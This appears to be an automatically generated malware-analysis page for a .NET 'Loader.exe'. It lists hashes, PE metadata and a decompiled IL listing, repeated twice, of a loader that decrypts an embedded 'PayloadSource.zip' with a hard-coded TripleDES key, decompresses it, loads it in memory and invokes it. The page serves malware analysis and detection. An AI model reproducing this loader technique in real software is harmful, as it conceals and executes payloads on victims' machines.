Deep Malware Analysis of f9027fdfc472f1f34d4127d7fa8f088e | md5: f9027fdfc472f1f34d4127d7fa8f088e | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | PDB Path | .Net | SOS: 0.17 | SOS: 0.16

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Very low

MD5	f9027fdfc472f1f34d4127d7fa8f088e
Sha1	d24ba81d137d8c217d0db1182a66070609ed7786
Sha256	2556da51d1b4d0fd2616df8d77a1c557095bd0b41b76432039ed9ebca058a2c2
Sha384	e4df721c19a3b4a26f0e7eff8f084bec15eeda97e3d4570f05c7da3cc4bfc81f17a9045c3146f683438299410e1f8a37
Sha512	8155cdc9575de1b56da49c5a3d363a84f36eb7e2ecffbb2c1442b60b0db072327356d64e67f88b6a1b8cb145bfaec410e33c5c0b2a24d293e2b22844ad713b50
SSDeep	6144:3wTJXtCXxBwarTXCcHTGVMLxu+H6DGWESIt+z8WC3iH:ATpMwu3TCIyESY+z8WHH
TLSH	A4648D5827ED8A26E6FE62B5E83D040D47F6B51A612EFB4F19A020FD6C13F8449017B7

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name	Value
Info	PE Detect: PeReader OK (file layout)
Info	PDB Path: ?
Module Name	Loader.exe
Full Name	Loader.exe
EntryPoint	System.Void PCLoader::Main()
Scope Name	Loader.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Loader
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	5
Main Method	System.Void PCLoader::Main()
Main IL Instruction Count	192
Main IL	call System.Boolean PCLoader::SetProcessDPIAware() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() call System.AppDomain System.AppDomain::get_CurrentDomain() ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R dup <null> brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) pop <null> ldnull <null> ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs) newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) ldtoken PCLoader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr PayloadSource.zip callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Int64 System.IO.Stream::get_Length() conv.ovf.i <null> newarr System.Byte stloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) pop <null> leave.s IL_0074: ldstr "ryxe6LOTShrQA5pRM4s0ygo/XxGuMUuQ" ldloc.s V_5 brfalse.s IL_0073: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr ryxe6LOTShrQA5pRM4s0ygo/XxGuMUuQ call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr MSUeXnoB4g8= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create() stloc.s V_6 ldloc.s V_6 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_6 ldloc.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_6 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_6 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_6 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() stloc.s V_7 ldloc.s V_7 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.3 <null> leave.s IL_00E1: ldloc.3 ldloc.s V_7 brfalse.s IL_00D4: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 brfalse.s IL_00E0: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldc.i4.4 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> ldc.i4.4 <null> sub <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32) stloc.s V_8 ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldc.i4 4096 newarr System.Byte stloc.s V_11 br.s IL_011A: ldloc.s V_9 ldloc.s V_10 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_12 callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_11 ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) dup <null> stloc.s V_12 ldc.i4.0 <null> bgt.s IL_010E: ldloc.s V_10 ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_4 leave.s IL_015D: ldloc.s V_4 ldloc.s V_10 brfalse.s IL_0144: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brfalse.s IL_0150: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brfalse.s IL_015C: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_01CB: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> ldc.i4.s 26 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_15 ldc.i4.0 <null> stloc.s V_16 br.s IL_01BD: ldloc.s V_16 ldloc.s V_15 ldloc.s V_16 ldelem.ref <null> stloc.s V_17 ldloc.s V_17 callvirt System.Type System.Reflection.MethodInfo::get_ReturnType() ldtoken System.Void call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Boolean System.Type::op_Equality(System.Type,System.Type) brfalse.s IL_01B7: ldloc.s V_16 ldloc.s V_17 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> brtrue.s IL_01B7: ldloc.s V_16 ldloc.s V_17 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ret <null> ldloc.s V_16 ldc.i4.1 <null> add <null> stloc.s V_16 ldloc.s V_16 ldloc.s V_15 ldlen <null> conv.i4 <null> blt.s IL_0183: ldloc.s V_15 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> blt.s IL_0170: ldloc.s V_13 ret <null>
Module Name	Loader.exe
Full Name	Loader.exe
EntryPoint	System.Void PCLoader::Main()
Scope Name	Loader.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Loader
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	5
Main Method	System.Void PCLoader::Main()
Main IL Instruction Count	192
Main IL	call System.Boolean PCLoader::SetProcessDPIAware() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() call System.AppDomain System.AppDomain::get_CurrentDomain() ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R dup <null> brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) pop <null> ldnull <null> ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs) newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) ldtoken PCLoader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr PayloadSource.zip callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Int64 System.IO.Stream::get_Length() conv.ovf.i <null> newarr System.Byte stloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) pop <null> leave.s IL_0074: ldstr "ryxe6LOTShrQA5pRM4s0ygo/XxGuMUuQ" ldloc.s V_5 brfalse.s IL_0073: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr ryxe6LOTShrQA5pRM4s0ygo/XxGuMUuQ call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr MSUeXnoB4g8= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create() stloc.s V_6 ldloc.s V_6 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_6 ldloc.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_6 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_6 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_6 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() stloc.s V_7 ldloc.s V_7 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.3 <null> leave.s IL_00E1: ldloc.3 ldloc.s V_7 brfalse.s IL_00D4: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 brfalse.s IL_00E0: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldc.i4.4 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> ldc.i4.4 <null> sub <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32) stloc.s V_8 ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldc.i4 4096 newarr System.Byte stloc.s V_11 br.s IL_011A: ldloc.s V_9 ldloc.s V_10 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_12 callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_11 ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) dup <null> stloc.s V_12 ldc.i4.0 <null> bgt.s IL_010E: ldloc.s V_10 ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_4 leave.s IL_015D: ldloc.s V_4 ldloc.s V_10 brfalse.s IL_0144: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brfalse.s IL_0150: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brfalse.s IL_015C: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_01CB: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> ldc.i4.s 26 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_15 ldc.i4.0 <null> stloc.s V_16 br.s IL_01BD: ldloc.s V_16 ldloc.s V_15 ldloc.s V_16 ldelem.ref <null> stloc.s V_17 ldloc.s V_17 callvirt System.Type System.Reflection.MethodInfo::get_ReturnType() ldtoken System.Void call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Boolean System.Type::op_Equality(System.Type,System.Type) brfalse.s IL_01B7: ldloc.s V_16 ldloc.s V_17 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> brtrue.s IL_01B7: ldloc.s V_16 ldloc.s V_17 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ret <null> ldloc.s V_16 ldc.i4.1 <null> add <null> stloc.s V_16 ldloc.s V_16 ldloc.s V_15 ldlen <null> conv.i4 <null> blt.s IL_0183: ldloc.s V_15 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> blt.s IL_0170: ldloc.s V_13 ret <null>